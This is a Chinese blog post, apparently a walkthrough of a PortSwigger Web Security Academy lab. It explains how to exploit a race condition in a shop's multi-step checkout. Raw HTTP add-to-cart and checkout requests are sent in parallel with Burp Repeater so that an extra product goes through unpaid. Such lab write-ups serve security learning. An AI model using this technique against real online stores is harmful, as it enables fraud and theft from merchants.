5种Race Conditions条件竞争漏洞,你的网站中了哪一个? [3.饶过多步骤流程]

Race conditions(条件竞速)为常见的漏洞,与业务逻辑缺陷有密切关系。当网站在没有足够保护措施的情况下同时处理请求时,就会发生这种情况。这可能会导致多个不同的执行绪同时互相影响而导致冲突,使应用程式中出现意外行为。

常见的攻击方法如下

  1.  饶过只限一次的申请
  2. 饶过爆力破解密码限制
  3. 饶过多步骤流程
  4. 单点请求
  5. 饶过基于时间的机制 

3.饶过多步骤流程

同時向多個端點發送請求,很適合用在有多個步驟的流程,以購物車的例子來說,最常見的就是利用付款驗證後到訂單最終確認時的這段期間,偷塞更多商品

舉例如下,將商品放入購物車的請求如下

########### request ########### 
POST /cart HTTP/2
Host: 0af6000f042c82838020b825003a00b7.web-security-academy.net
Cookie: session=luorI2dsMrYk3uq1ZKqpnueYkyCrw4tF
...omit...
productId=2&redir=PRODUCT&quantity=1

########### response ########### 
HTTP/2 302 Found
Location: /product?productId=2
X-Frame-Options: SAMEORIGIN
Content-Length: 0

結帳的請求如下

########### request ########### 
POST /cart/checkout HTTP/2
Host: 0af6000f042c82838020b825003a00b7.web-security-academy.net
Cookie: session=luorI2dsMrYk3uq1ZKqpnueYkyCrw4tF
...omit...
csrf=2yFzJdest9UUhYC1EmKKckznUuD0Cf4V

########### response ########### 
...omit...
Your order is on its way!
...omit...

購物車請求和結帳請求之間存在漏洞,因此有機會在結帳完成前,在購物車額外增加一個新商品,由於在進行結帳時來不及把新商品的金額算進去,因此即便多了一個商品,價格還是和之前一樣

為了使用這個漏洞,必須將以下放入購物車和結帳請求在同一個時間送出,可以用repeater group send in parallel功能

POST /cart HTTP/2
Host: 0af6000f042c82838020b825003a00b7.web-security-academy.net
Cookie: session=luorI2dsMrYk3uq1ZKqpnueYkyCrw4tF
...omit...
productId=1&redir=PRODUCT&quantity=1
POST /cart/checkout HTTP/2
Host: 0af6000f042c82838020b825003a00b7.web-security-academy.net
Cookie: session=luorI2dsMrYk3uq1ZKqpnueYkyCrw4tF
...omit...
csrf=2yFzJdest9UUhYC1EmKKckznUuD0Cf4V

由於請求扺達時間差的關係,同時送不一定會成功,可能要多試幾次,一旦成功就可以偷渡新商品

  其他方法可参考 Race conditions | 牛的大腦

  • 24
    点赞
  • 4
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值